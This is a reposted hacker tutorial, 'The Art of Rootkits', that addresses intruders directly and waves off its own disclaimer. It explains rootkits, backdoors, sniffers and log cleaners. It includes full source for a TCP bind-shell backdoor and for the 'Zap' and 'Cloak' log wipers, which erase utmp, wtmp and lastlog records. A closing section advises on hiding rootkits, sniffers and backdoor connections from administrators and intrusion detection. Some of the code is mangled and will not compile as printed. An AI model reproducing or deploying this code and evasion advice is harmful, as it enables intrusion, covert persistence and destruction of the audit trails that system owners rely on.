[转载]The Art of Rootkits
信息来源：Astalavista and Invisible GhostsTable of Contence
-----------------
1. - Introduction
1.2 - Foreworld
1.3 - What is a rootkit?
1.4 - Hacker Jargon definition
1.5 - Hackers or the kidz?
1.6 - Who uses rootkits and why?
1.7 - The language rootkits are coded in
1.8 - Different types of rootkits
2 - Backdoors
2.1 - Sniffers
2.2 - Cleaners (Log bashers)
2.3 - Rootkit extra utilities
2.4 - Kernel rootkits (more detail)
2.5 - How the kernel works
2.6 - Analysing an Application rootkit "T0rn"
2.7 - A variety of hiding methods
- Hiding a sniffer
- Hiding network connections
- Hiding a backdoor
3. - Credits
3.1 - Recommended reading and useful links
3.2 - Greets and shouts
"I love the world and everybody in it, so
fuck you all!"
- S. Ratte'
" I dedicate this phile to all the mother fucking
hackers who's mind has been freed by the controversial
sinful group Invisible Ghosts!"
- Cra58cker
"The revolution has began... and your part
of it..."
- Rhideaon
1. - Introduction
-----------------
Welcome to another mind-blowing t-file written by the
one and only Cra58cker. (Ego ALERT!
It was about 9:25 in the morning when I realized I
hadn't actually written a decent paper on Information
Security for a while. So, I said to myself 'What are
people interested in and what is there lack of?' I
took a good few minutes pondering over this thought...
A couple of minutes later I realized there wasn't any
in depth easy to follow guides\t-files\papers on 'root
kits' so the journey began....
This t-file\paper or whatever you want to call it
(I'll refer to this phile as a T-file)will help you
grasp and understand the concepts of "root kits". I
will not bore you with the 'history' of root kits, I
will just go straight into it, in an easy to follow
manner. This t-file was written for the
Beginner\Intermediate computer user and previous
knowledge of *nix systems is required to get the most
out of this t-file...
1.2 - Foreword
----------------
I'll make this section short. The information
contained in this t-file was written by me (Cra58cker)
this paper has been in development for the last two
weeks. I used two main methods to put together this
paper...
* Reading - I spent countless hours reading other
peoples papers, ideas, theories etc on root kits,
partly so I could start somewhere.
* Practical - I also spent countless hours doing
"practical" work so I could write this paper from my
own experiences not just based on other peoples
experience.
When it came to performing this practical work I used
two main *nix distros. Red Hat 9 and OpenBSD, it
doesn't matter what distro you decide to use because
this is always a personal choice.
It is strongly recommended that before you even
attempt to compile or use any of the rootkits
mentioned in this paper you know EXACTLY what you are
doing and you are running such programs in a
controlled environment.
E.g. a controlled environment would be a stand alone
PC disconnected from all forms of communication
(network, internet, intranet etc)
An un-controlled environment would be a PC connected
to the Internet or a network (Your companies network
would be a very stupid choice!)
This brings us to the "Disclaimer"...
**********************************************
DISCLAMIER
**********************************************
I am not responsible for [INSERT BIG SPEECH HERE] this
information has been written for educational purposes
only *coughWHATEVERcough*.
Basically, I don't really care what you do with this
information, however if you end up in court for doing
this shit on some militaries network, when you shit
yourself don't drop the name "Cra58cker" into
It. If youre stupid enough to get caught then at
least be a man and take the blame, don't blame other
people!
The bottom line is I have told you how to do it, I
never said do it!
Phew! Now we got the boring shit out the way lets get
straight down to business.
1.3 - What is a root kit?
------------------------
You know it's one thing to sit and watch paint dry but
you know what else is worse than that?
Reading a file about something you don't even
understand... Therefore it's time you learnt what a
root kit is (If you already know then feel free to
skip this section)
A rootkit is a program. Rootkits come in all different
shapes and styles, some more advance than others.
Rootkits are basically programs that help attackers
keep their position as root. Notice it's called a
"rootkit". 'root' meaning the highest level of
administration on *nix based systems and 'kit' meaning
a collection of tools. Rootkits contain tools which
help attackers hide their presence as well as give the
attacker full control of the server or host
continuously without being noticed.
Rootkits are usually installed on systems when they
have been compromised and the highest level of access
has been given (usually root) Some rootkits refuse to
be installed until the attacker has root access, due
to read and write permission to certain files. Once
the system has been successfully compromised and the
attacker has root, he\she may then install the
rootkit, allowing them to cover their tracks and wipe
the log files.
A typical rootkit consists of the following utilities
(Note: We will look at these in a lot more detail
later on)
* Backdoor Programs - login backdoors, telnetd etc
* Packet Sniffers - Sniff network traffic such as
FTP, TELNET,POP3
* Log-Wiping Utilities - Bash the logs to cover tracks
* DDoS Programs - Turn the box into a DDoS client
(Remember trinoo?)
* IRC\Bots - Bots used to take over IRC channels
(Lame and annoying)
* Miscellaneous programs - May contain exploit, log
editor
(Don't worry to much if you don't understand any of
the above, as I said were look at this all in a lot
more detail further down)
1.4 - Hacker Jargon Definition
------------------------------
Oh Hail the mighty hacker jargon!
This is what the "Hacker Jargon" says about the word
"rootkit"...
"rootkit: /rootkit/, n.
[very common] A kit for maintaining root; an automated
cracking tool. What script kiddies use. After a
cracker has first broken in and gained root access, he
or she will install modified binaries such as a
modified version login with a backdoor, or a version
of ps that will not report the cracker's processes).
This is a rootkit."
Wow! that's amazing! We worship you hacker jargon!
Thank you ever so much for explaining to me what a
rootkit is!
Remember kidz, all you have to do is read out some
cool urban HaX@r words out the jargon to your friends
and they will think your really c00l! and 1337!
1.5 - Hackers or the Kidz?
---------------------------
Now the question you are probably asking yourself is
"Is a rootkit a hackers tool or just another script
kiddie tool?" (Well, you may not be thinking that,
maybe I just sux and my psychology skills are as good
as yours..) Well, the "Hacker Jargon" defines a
rootkit and a script kiddies tool and to some extend
he\she\they\IT is right (The jargon is always right)
Rootkits don't really require that much skill to run
or use. Most rootkits can be compiled like this..
gcc t0rn.c -o rootkit
then...
../rootkit
(Now obviously when compiling all "hacker" tools you
need to chose a name which disguises it's purpose, so
rootkit would be a really stupid choice)
However there are some rootkits that require more
skill to run and use. Some rootkits require you to
edit the source code before it's compiled and some
even need you to edit the iptables and kernel. (Very
advance ones, they used one at the "Black Hat
Conference" in 2002)
So, rootkits are used by both hackers and script
kiddies. I personally believe that a hacker would have
to write his own rootkit to call himself a hacker not
just run and use someone else code. (However that s
just my opinion, so don't hold me to that!)
1.6 - Who uses rootkits and why?
----------------------------------
I have already really covered this in the previous
sections, however for the forgetful types I shall
explain again, just to summaries up what we have
learnt so far...
Hackers and script kiddies use rootkits, they use them
to maintain root and cover their tracks. Script
kiddies lack knowledge of *how* a rootkit really works
and most often they will end up deleting key binary
files. (Basically, script kiddies will let you know
when they have compromised your system)
Rootkits are only installed when the system has been
compromised and root has been gained.
I don't really want to go into any more detail,
because I'll end up just repeating myself. Lets just
move on...
1.7 - The Language rootkits are coded in
-----------------------------------------
Hmmm, well this isn't going to be short...
Most rootkits are coded in C or Assembly (Shell code).
Most of the well-known rootkits are coded in C so the
attacker can edit the source code to fit its target
specification. (E.g. The logs files could be stored in
a different location)
1.8 - Different types of rootkits
----------------------------------
At the current time of writing there are 2 main types
of rootkits.
Application rootkits - Established at the application
layer
Kernel rootkits - Established at the kernel level
(Core of any OS)
When I say "established" this could be referred to of
where exactly the rootkit hides. Now lets start of my
looking at an application rootkit.
An application rootkit is basically a rootkit which
"replaces" all the well know system binary files (ls,
netstat, killall) with "fake" or "Trojanned" ones. The
trojanned or fake system files will help hide the
attackers presence, report false information to the
system administrator and even provide a Backdoor for
the attacker. To help you understand this more I have
provided a list of all the typical system files, which
are "replaced" to, help the attacker cover his or her
tracks. The list was taken from "Rootkit: Attacker
Undercover Tools" by Sailman Manap.
LIST START....
Programs replace to hide attacker presence.
"ls", "find", "du" - Trojaned system file will be
able to hide attackers file, directory
and stuff that have been brought into the system from
being listing.
"ps", "top", "pidof" - All these programs are
process monitor program. Trojaned
program will hide attacker process from being listing.
"netstat" - netstat is used to check network
activity such as open port, network
connections establish and listening. Trojaned netstat
will hide processes installed by
attacker such as ssh daemon or other services.
"killall" - Trojaned "killall" will not be able to
kill attacker process.
"ifconfig" - When sniffer is running PROMISC flag is
set to the nic. "ifconfig" is a
handy utility to set and to view setting of ethernet
nic. Trojaned "ifconfig" will not
display the PROMISC flag when sniffer is running. This
is useful to hide sniffer from
being detected.
"crontab" - Trojaned "crontab" will hide the
attackers crontab entry.
"tcpd", "syslogd" - Trojanised "tcpd" and "syslog"
will not log any connection made
by attacker. "tcpd" also capable to bypass tcp wrapper
enforcement.
LIST END
Hopefully, that would should have given you a better
idea of what an Application is. Remember, this section
has only be written so you can distinguish the
differences between a "Application" rootkit and
"Kernel" rootkit. Lets now take a look at a Kernel
rootkit.
A Kernel rootkit is a rootkit that buries itself deep
in the Kernel. This makes it extremely hard to detect
and remove. Kernel rootkits are more advance then
Application rootkits, A Kernel rootkit works by
exploiting and manipulating Kernel capabilities. Now
I don't really want to go in much more detail on
Kernel rootkits because they can get quite advance
(Well, they ARE) were talk about them later in this
file, it may also help to look at "2.7 - How the
kernel works" to get a feel for these Kernel
rootkits...
It's now time to move on. In the next section (Section
2) We look at all the elements which make up a
rootkit, such as a Backdoor, Sniffer, log basher etc
Half way through section 2 we will then look at
"Kernel Rootkits" in more detail.
2 - Backdoors
---------------
Most of todays (decent) rootkits contain "Backdoors".
Now you should all know what a Backdoor is but just in
case you didn't I will quickly give a brief
explanation of all.
Backdoor - A program or script which allows an
attacker to establish some form of privilege and
remote communication without logging into the system.
Backdoors are usually installed when the system has
been successfully compromised and some form of exploit
has been entailed. The advantage of installing a
backdoor on a system means that the attacker doesn't
have to keep using the same exploit over and over
again. The disadvantage of installing a backdoor means
at one point or another the system administrator will
notice suspicious activity in his network traffic, if
he or she were to run a port scanner such as Nmap
(Coded by Fyodor hxxp://***.insecure.org) he or she
would soon uncover an open port and sooner or later
remove the backdoor.
A typical example of a Windows NT\2000 backdoor is
one entitled "Tini.exe" (Made by NTSecurity) This
little program listens on port 7777 for incoming
connections, once a connection has been established a
remote command shell is executed for the attacker who
establishes the connection. (Now as I have mentioned
this t-file generally deals with *nix backdoors, so I
don't really want to get side stepped talking about
windows backdoors, exploits etc I thought I'd just
mention tini.exe to give you a general idea of what a
Backdoor consists of.
Now lets talk more about *Nix backdoors. *nix
backdoors come in *many* shapes and sizes. The paper
by Sailman Manap gives yet another long comprehensive
list of all the forms backdoors come in...
LIST START
Login Backdoor - Modifying login.c to look for
backdoor password before stored
password. Attacker can log into any account using
backdoor password.
- Telnetd Backdoor - Trojaned the "in.telnetd" to
allow attacker gain access with
backdoor password.
- Services Backdoor - Replacing and manipulate
services like "ftp", "rlogin", even
"inetd" as backdoor to gain access.
- Cronjob backdoor - Backdoor could also be added in
"crontjob" to run on specific time
for example at 12 midnight to 1 am.
- Library backdoors - Almost every UNIX and Windows
system have shared libraries.
Shared libraries can be backdoor to do malicious
activity including giving a root or
administrator access.
- Kernel backdoors - This backdoor is basically
exploiting the kernel, which is core of
the operating system to handle and to hide backdoor
effectively
- Network traffic backdoors which typically using TCP,
UDP, and ICMP - Backdoor that
Exploiting network traffic protocol is widely used. In
TCP protocol backdoor like ssh is
Popularly used because it communicate in encrypt,
while crafting and tunneling packet
In UDP and ICMP traffic will give a better chances
escaping from firewall and "netstat".
LIST END
All of these and any other forms of *nix backdoors are
explained and documented by Christopher Klaus, his
paper can be
Reached at hxxp://secinf.net/info/unix/backdoors.txt,
I strongly recommend you check it out if you are
either really interested in Backdoors or you still
havent grasped the basic concepts of Backdoors. I
have also written a small file on Backdoors entitled
"A Crash Course in Backdoors" it is available at
hxxp://w w w.invisibleghosts.net
To finish of this section on backdoors, I feel like
adding some source code. (This is a basic TCP Backdoor
for *nix if you don't own a copy of linux or unix
don't even attempt to compile this
I did not write this, shaun2k2 did, so please give ALL
credit for the below source code to him.
[code]/* backdoor.c - basic unix tcp backdoor.
*
* This is a basic UNIX TCP backdoor. /bin/sh is
binded to the port of your
* choice. Access the shell with telnet or netcat:
*
* root# nc -v hackedhost.com 1337
*
* I do not take responsibility for this code.
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define BACKLOG 5
#define SHELL "/bin/sh"
void usage();
int main(int argc, char *argv[]) {
if(argc <2) {
usage(argv[0]);
}
int sock, csock;
struct sockaddr_in client;
struct sockaddr_in mine;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!\n" exit(-1);
}
mine.sin_family = AF_INET;
mine.sin_port = htons(atoi(argv[1]));
mine.sin_addr.s_addr = INADDR_ANY;
if(bind(sock, (struct sockaddr *)&mine, sizeof(struct
sockaddr)) == -1) {
printf("Could not bind socket!\n"
exit(-1);
}
if(listen(sock, BACKLOG) == -1) {
printf("Could not listen on socket!\n"
exit(-1);
}
printf("Listening for connections on port %s!\n",
argv[1]);
while(1) {
int sin_size;
sin_size = sizeof(struct sockaddr);
csock = accept(sock, (struct sockaddr *)&client,
&sin_size);
dup2(csock, 0);
dup2(csock, 1);
dup2(csock, 2);
execl("/bin/sh","/bin/sh",(char *)0);
close(csock);
}
}
void usage(char *progname[]) {
printf("Usage: %s <port>\n", progname);
exit(-1);
}</pre>[/code]
The main purpose of me showing you this source is to
give you a general idea of what a rootkit consists of.
Remember rootkits come in many shapes and sizes and
every rootkit is most likely to contain some form of
Backdoor...
So what else do rootkits contain apart from Backdoors?
Lets move on to the next section and look at
"Sniffers".
2.1 - Sniffers
--------------
A lot of todays rootkits contain programs known as
"Sniffers". What are Sniffers? (Also known as Packet
Sniffers)
Basically packet Sniffers are programs that are made
to "Monitor" network traffic, TCP\IP or any other
network device. I'm sure you know when you are
browsing the Internet or playing online games
"Packets" of data are going to and from your Computer.
Attackers install Sniffers so they can capture
valuable information which is floating to and from
your computer.
What type of valuable information?
Here is a list of what a Sniffer is capable of...
- Sniffing FTP passwords
- Sniffing Telnet passwords
- Sniffing Network passwords
- Sniffing POP3 passwords
- Capturing websites you have visited
- Sniffing Gateways
- Lots more
Some of you may be thinking "Won't my passwords been
encrypted as they are passing over my network?" To
some extent this is true, some services provide
encryption (Such as E-mail if you were using PGP
sniffing would be useless, unless of course your a
good cryptographer)
Other services such as ftp and telnet transfer their
passwords in plain text, so it would be easy for an
attacker to just capture the packet then dump it into
a text editor (such as "vi", "Pico" or for M$ notepad)
it would only take a couple of minutes for an attacker
to uncover the plain text password.
Now there is a technical side to Sniffers that I don't
really want to go into. For more information on
Sniffers please read
h.t.t.p://sans.org/infosecFAQ/switchednet/sniffers.htm
this paper was written by a "Jason Drury" and I have
found it most useful. If you are more interested in
Windows Sniffers then I can recommend getting a copy
of the following....
-Windows Sniffer
-TcpDump
-Password Capture --------> Made especially to sniff
passwords
-Sniff
-Ethereal
-EtherPeep
My personal favorite Sniffer for Windows has to be
TCPDump it's command line driven so the scripties
wouldn't go near it but for those truly interested in
the elements of computer hacking I would recommend
TCPDump, it will take time getting used to it but its
worth it.
Now what about linux sniffers.. Hmmmm I'll be honest
with you I havent had much experience using linux
Sniffers, but I have been told there are some good
tutorials on how to make your own Sniffer for *nix on
h t t p://w w w.planetsourcecode.com, however before you
even attempt to make your own I strongly recommend you
get into socket programming. If you want a read made
Sniffer just google for one, a common one is
"linsniffer.c"
Anyway back to the main point, most rootkits DO
sometimes contain "ready to run" Sniffers and Sniffers
are hard to detect once they are running. (Were look
at this a little later) The purpose of this section
was just to show you WHAT a Sniffer is.. Now you know
lets move on
2.2 - Cleaners (Log Bashers)
-----------------------------
Ah, we come to something a lot more simpler, Log
Bashers (Also known as Log deleters, Log killers
and Log Cleaners)
No matter what the title they all do the same thing.
Delete system log files. System Administrators rely on
logging as an extra form of security. Log files can
keep track on who logged in last and at what type,
what programs were run as that user was logged in etc
etc
Therefore it is exceptionally important for the
attacker to destroy ALL traces of log files. Now, some
of you may be thinking..
"If all the Log files are deleted won't this give an
indication to the system administrator that there box
has been hacked?"
If youre thinking that, then your dead right.
Deleting the log files can sometimes be pretty stupid,
the best way to get around the log files is to "edit"
the entries by deleting your entries and filling in
some false ones (Sometimes this requires root access,
but if your running a log cleaner of a rootkit you
should already have root
Another way around this is to delete the whole log
file then to
"re-create" them. Here is a VERY simple script I made
to demonstrate what I mean...
-------START------
</font><blockquote>code:</font><hr /><pre style="font-size:x-small; font-family: monospace;">int main
()
system("rm-rf /root/logs/LastEntry.log"
touch(" /root/Logs/LastEntry.log"
return 0;</pre>[/QUOTE]-------END--------
Now for those who don't know any C then I shall I
explain. The first main line of the code is telling
the C program to remove the file LastEntry.log, delete
it. The second line is telling the program to create a
file called LastEntry.log in the exact same location.
So when the system administrator opens the log file he
will be confronted with a blank file. (This may be a
bit stupid because if the admin is security minded he
will know the system has been compromised. Some stupid
admins see it as a 'Bug' therefore you get away with
it.)
Most rootkits contain some form of log-cleaner, but
before you execute it you need to make sure you know
exactly HOW it works, otherwise your just another
script kiddie who "presumes" this tool will cover your
tracks completely. Some log cleaners search certain
directories for words like "IP" "Login", "Logs", "Log"
etc and then delete them. Some just delete all the
default log files that are in the default system
location. Before you compile a rootkit learn C and
take a look at the source code you may find you need
to edit some of the entries. It's important you come
FULLY prepared before you go out and install your
rootkit.
I'll tell you now, I have been in this game long
enough to realize even if you successfully edit\Delete
a bunch of log files it doesn't mean youre
untraceable. You still need to think about system
programs which are running, which may have their own
logging capabilities. Look out for IDS (Intrusion
Detection Systems) such as SNORT and look out for
programs like Tripwire and any other security programs
which
monitor\analyze system security.
As more and more people become security minded so do
there software and "security awareness" system
administrators are getting clever, so be careful!
I'll end this section now with some source for some
well known log cleaners, I would strongly recommend
not using them though, since they are fairly old. I'm
only using them to show you what typical log cleaners
are (used to be) like. Just because they are old
though doesn't mean they don't work I'm just
pretty sure if you Google about you can find MUCH
better ones.
This is a very old log cleaner called "Zap" the source
code is below..
[code]
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who)))
{
bzero((char *)&utmp_ent,sizeof(
utmp_ent ));
lseek (f, -(sizeof (utmp_ent)),
SEEK_CUR);
write (f, &utmp_ent, sizeof
(utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) *
pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct
utmp))<0) {
pos = -1L;
} else {
if
(!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct
utmp ));
lseek(f,-( (sizeof(struct utmp)) *
pos),L_XTND);
write (f, &utmp_ent, sizeof
(utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof
(struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n"
} else
printf("Error.\n"
}</pre>[/code]
Here is another little log cleaner called Cloak v1.0
it wipes your presence on SCO, BSD, Ultrix, and HP/UX
UNIX. This program is *old* and was written by
Wintermute of -Resist-.
[code]/* UNIX Cloak v1.0 (alpha) Written by: Wintermute of
-Resist- */
/* This file totally wipes all presence of you on a
UNIX system*/
/* It works on SCO, BSD, Ultrix, HP/UX, and anything
else that */
/* is compatible.. This file is for information
purposes ONLY!*/
/*--> Begin source... */
#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>
main(argc, argv)
int argc;
char *argv[];
{
char *name;
struct utmp u;
struct lastlog l;
int fd;
int i = 0;
int done = 0;
int size;
if (argc != 1) {
if (argc >= 1 && strcmp(argv[1], "cloakme"
== 0) {
printf("You are now cloaked\n"
goto start;
}
else {
printf("close successful\n"
exit(0);
}
}
else {
printf("usage: close [file to close]\n"
exit(1);
}
start:
name = (char *)(ttyname(0)+5);
size = sizeof(struct utmp);
fd = open("/etc/utmp", O_RDWR);
if (fd < 0)
perror("/etc/utmp"
else {
while ((read(fd, &u, size) == size) && !done) {
if (!strcmp(u.ut_line, name)) {
done = 1;
memset(&u, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &u, size);
close(fd);
}
}
}
size = sizeof(struct lastlog);
fd = open("/var/adm/lastlog", O_RDWR);
if (fd < 0)
perror("/var/adm/lastlog"
else {
lseek(fd, size*getuid(), SEEK_SET);
read(fd, &l, size);
l.ll_time = 0;
strncpy(l.ll_line, "ttyq2 ", 5);
gethostname(l.ll_host, 16);
lseek(fd, size*getuid(), SEEK_SET);
close(fd);
}
}
[/code]
2.3 - Rootkit Extra Utilities
--------------------------------
I will try and keep this section short due to there
isn't really that much to say. As you should know by
now and as I have mentioned rootkits come in all
shapes and styles. Some rootkits are well known for
their advance log cleaner, others for there advance
Backdoor and others for there adavnce, stealth hard to
remove installation procedure.
There are some rootkits which are well known for being
SAR (Swiss Army Rootkits) basically, they are rootkits
with average features plus a whole load of extra
utilities such as Bots, DdoS, Extra scripts, Password
crackers, Killer scripts etc
Rootkits that contain scripts that cause DDoS attacks
are considered dangerous, if an attacker were to
exploit 100's of servers and install such a rootkit
those servers would then become "Zombies" they could
launch DDoS attacks (SYN, PING, FINGER, UDP, TCP)
against chosen targets. Rootkits are continuously
being made more advance and extra utilities are being
added on each time. In the future I personal predict
that rootkits will be a major threat to national
security.......
Thats really all I have to say for this section. Lets
move on.
2.4 - Kernel Rootkits (More Detail)
-------------------------------------
We have already briefly looked at "Kernel Rootkits"
but we havent really looked at them in close detail.
In this section I plan to analyze and expose the
basics of a kernel rootkit. If your not to sure on
what the "Kernel" is I recommend you skip this section
and move onto the next section (2.5) then come back to
this section when you feel that you are ready.
The best way to start of this section is talk about
how Kernel rootkits actually work. Kernel rootkits
work, basically by exploiting LKM. (Loadable Kernel
Modules)LKM are used to load device drivers on a
"as-needed" bases. LKM are usually only exploited so
the attacker can perform malicious activity.
Kernel rootkits are way more dangerous than
Application rootkits because instead of just replacing
the basic binaries like "ls" and "netstat" they attack
the kernel directly and manipulate system-calls like
open() and read(). As we know application rootkits
replace binaries, if the administrator was clever and
analyzed the actual binaries which had been replaced
they will realize the differences in size (e.g. the
program could contain an extra 128 bytes) However,
this wouldn't be possible with Kernel rootkits because
instead of actually changing the size and structure of
the program, they just change the way the program
operates. For example programs like "ps" use an open
system call "open()" and reads information from files
in the directory /proc, where also the information
about running processes is kept.
For more information on rootkits and to mess about
with typical examples of each rootkit type...
Considering obtaining a copy of..
Application rootkit - t0rn
Kernel rootkit - Adore (Also known as LKM-Adore)
2.5 - How the Kernel Works
---------------------------
This will be a very basic and very short section and
is only here to help those understand how the Kernel
works.
What is a Kernel? In English and using non-technical
jargon a Kernel is basically the "Core" of the OS
(Linux, Unix, Windows). Without the Kernel an
Operating System could not load.
The Kernel is one of the first things which load in a
OS and it remains in the main memory. Since it's
staying in the main memory its *very* important for
the Kernel to be as small as possible, but at the same
time be able to provide all the essential programs,
services, devices, applications and drivers for the
OS.
Typically, the kernel is responsible for I/O(Input and
Output) management, Device drivers, CPU management,
process and task management, and disk management.
The kernel looks something like this....
[code]_ _ _ _ _ _ _ _ _
|Applications and | - LKM - System Calls
|_Programs_ _ _ _ |
*******************
* MAIN KERNEL * - Consists of: Memory
Management
* * I\O
Management
******************* CPU
Management
| Hardware | Device
Drivers
|_ _ _ _ _ _ _ _ _ |</pre>[/code]
Understand?
Quite simple really...
2.6 - Analyzing an Application Rootkit "T0rnkit"
----------------------------------------------
This is a professional analysis of the rootkit "T0rn"
this was taken of off Mcaffe's main site.
"T0rnkit attempts to hide its presence when installed.
During installation it first shuts down the
system-logging daemon, syslogd. It then replaces
several other system executables with trojanized
versions and adds a trojanized ssh daemon to the
system as well. Programs that are replaced are, among
others; du, find, ifconfig, login, ls, netstat, ps, sz
and top. If the system administrator uses these
somewhat vital functions they report normal looking
information, but the processes and network connections
that the hacker uses aren't shown. Finally T0rnkit
starts a Sniffer in background, enables telnetd, rsh
and finger daemons in "/etc/inetd.conf", restarts
inetd to activate changes made and starts syslogd
again. This all without the system administrator
knowing about it.
Noteworthy is that all new programs in the t0rnkit all
have the exact size of 31.336 bytes. T0rnkit usually
can be found in the directory /usr/src/.puta, but of
course not if it already has been activated because
the command 'ls' will have been replaced. With the
standard installation of t0rnkit TCP port 47017 is
open for root access to the system. A modified version
of this rootkit was also distributed by a variant of
Unix/Lion worm.
A system administrator that is a little bit into the
security world can find a with t0rnkit infected system
pretty fast because of the change in file sizes and a
simple port scan will reveal the open port, but funny
enough most people don't have this 'expertise' "
2.7 - A variety of hiding methods
------------------------------------
To finish off section two, I will give you some tips
that I have found to be useful when hiding certain
features of a rootkit e.g. Backdoor, Sniffer etc)
Lets start by reviewing ways to successfully hide the
actual rootkit...
To start off with, it would be a good idea to hide the
compiled rootkit in a hidden directory. I would
recommend creating a directory you suspect the
administrator will not go near. For example try hiding
it in a folder situated in
/var/something/something/something make it as long as
possible and rename the file using the "mv" command to
something the admin will not suspect is a "suspicious"
file (e.g. Kernel-023, pso, ls2 etc)
Now when running the sniffer make sure you add the
character "&" behind of it, like this "lnsniffer&",
the "&" tells the system to continue running the
program even when the user is logged out. However,
this does provoke a slightly higher risk. If you leave
the Sniffer running all day and the sysadmin logs in
he may notice something is up if he was to execute the
"ps" command. Sniffers are great programs for getting
passwords, if a TCP Sniffer was installed on a regular
Ethernet connection you could capture a good 50 odd
passwords!
The downside to Sniffers are they may need to be
modified slightly before you can run them, also some
IDS programs can detect changes made to the Ethernet
card (e.g. When the card is switched into promiscuous
mode the IDS will know and alert the admin) :-(
Now if your running a "Kernel rootkit" its quite easy
to hide the Sniffer, because if the kernel rootkit is
any good it should allow the Sniffer to hide the
promiscuous flag of the network interface. The system
call to Trojan in this case is sys_ioctl() (You don't
really need to know that, unless your planning on
writing your own kernel rootkit)
"Hiding network connections" is another technique you
may wish to use. To sucessfully hide network
connections it can be done by preventing the system
logging the activities
inside /proc/net/tcp and /proc/net/udp. The idea
for a kernel rootkit is to trojan the
sys_read() command. Whenever reading these two files
and a line matching a unique string, the system call
will hide it from user.
The above techniques can then be brought together to
successfully hide a backdoor. Most backdoors you
install will listen on a certain port, this
informartion is then logged into /proc/net/tcp and
/proc/net.udp, you would need to manipulate the
sys_read() system call to sucessfully hide the
backdoor.
Now it's important that you know using rootkits could
be a very easy way to get busted. There have been
times when I have just gone into a system with a
custom made log cleaner and nothing else. System
administrators are getting quite clever and with the
rapid growth of advance programs like "Promiscuous
Detectors" and "Chkrootkit" it's easy for the attacker
to slip up and get busted. Kernel rootkits are the
best type of rootkits to use when penetrating through
a system but they are also the most complex and will
require patience and understanding before they can be
put to any real use.
Before you just go out and install a bunch of rootkits
on your "rooted boxes" I would strongly recommend
experimenting with them on your own box, so you learn
EXACTLY what they are doing. If you havent got a box
to practice on I recommend you download and install a
copy of VMWare, NEVER take risks! There is more to
life than computers, don't mess your whole life up
with some stupid childish mistake!
Now I'm finished here with rootkits (Partly because my
fingers are getting tired) I hope you have learnt
SOMETHING from this t-file. I am sorry that I didn't
really go into much detail about kernel rootkits,
system calls and LKM's or ways to protect yourself
from such malicious software but this is the "First
Edition" I do eventually plan to develop this paper
and continuously add to it as rootkits develop but no
promises
Hope you learnt something; I will finish off this
paper by leaving with you some useful links and
recommended reading material.
3. -Credits
-----------
This paper couldn't have been put together if it
wasn't for the following people...
Daremo - Explained the procedure used to disassemble
and trace an installed rootkit.
Cra58cker - I wrote this
Invisible Ghosts - My inspiration
Sailmap Manap - I quotes him quite a lot
Invisible Evil - Helped with the hiding methods
Mcaffee - Provided the analysis of the "T0rn" rootkit
Author of T0rn - For giving me something to write
about!
3.1 - Recommended reading and useful Links
-------------------------------------------
Sunnie Hawkins, Understanding the Attackers Toolkit,
January 13, 2001,URL:
h t t p://w w w.sans.org/infosecFAQ/linux/toolkit.htm
Andrew R. Jones, A Review of Loadable Kernel Modules,
June 12, 2001, URL:
h t t p://w w w.sans.org/infosecFAQ/linux/kernel_mods.htm
Jason Drury, Sniffers: What are they and How to
Protect From Them, November 11, 2000, URL:
h t t p://w w w.sans.org/infosecFAQ/switchednet/sniffers.htm
DeokJo Jeon, Understanding DDOS Attack, Tools and Free
Anti-tools with Recommendation,
April 7, 2001,URL:
h ttp://ww w.sans.org/infosecFAQ/threats/understanding_ddos.htm
Steve Gibson, The Strange Tale of the Denial OF
Service Attacks Against GRC.COM, Gibson
Research Corporation, Aug 31, 2001, URL:
h ttp://grc.com/dos/grcdos.htm
Black Tie Affair, Hiding Out Under UNIX, Volume Three,
Issue 25, File 6 of 11, March 25,
1989, URL: h ttp://w ww.phrack.org/show.php?p=25&a=6
Christopher Klaus, Backdoors, August 4 1997, URL:
h ttp://secinf.net/info/unix/backdoors.txt
Cra58cker, A Crash Course in Backdoors:
h ttp://w ww.invisibleghosts.net
3.2 - GreetZ and shouts!
--------------------------
In no particular order...
GreetZ to all ya bitches!
Auzy, SpEx, Daremo, Minky, Rhideaon, Kasket, Kronos,
Lucky, Fullpana, C0rrupt3d, Nose, r00tless,
CuttleFish, cDc, The whole of Astalavista, The whole
of Invisible Ghosts, Nil, Dark_Avenger, Slider, Dan
Verton, AreYouFearless, Johnny, @om, ComputerUser,
Crazy One and anyone else I forgot!
页:
[1]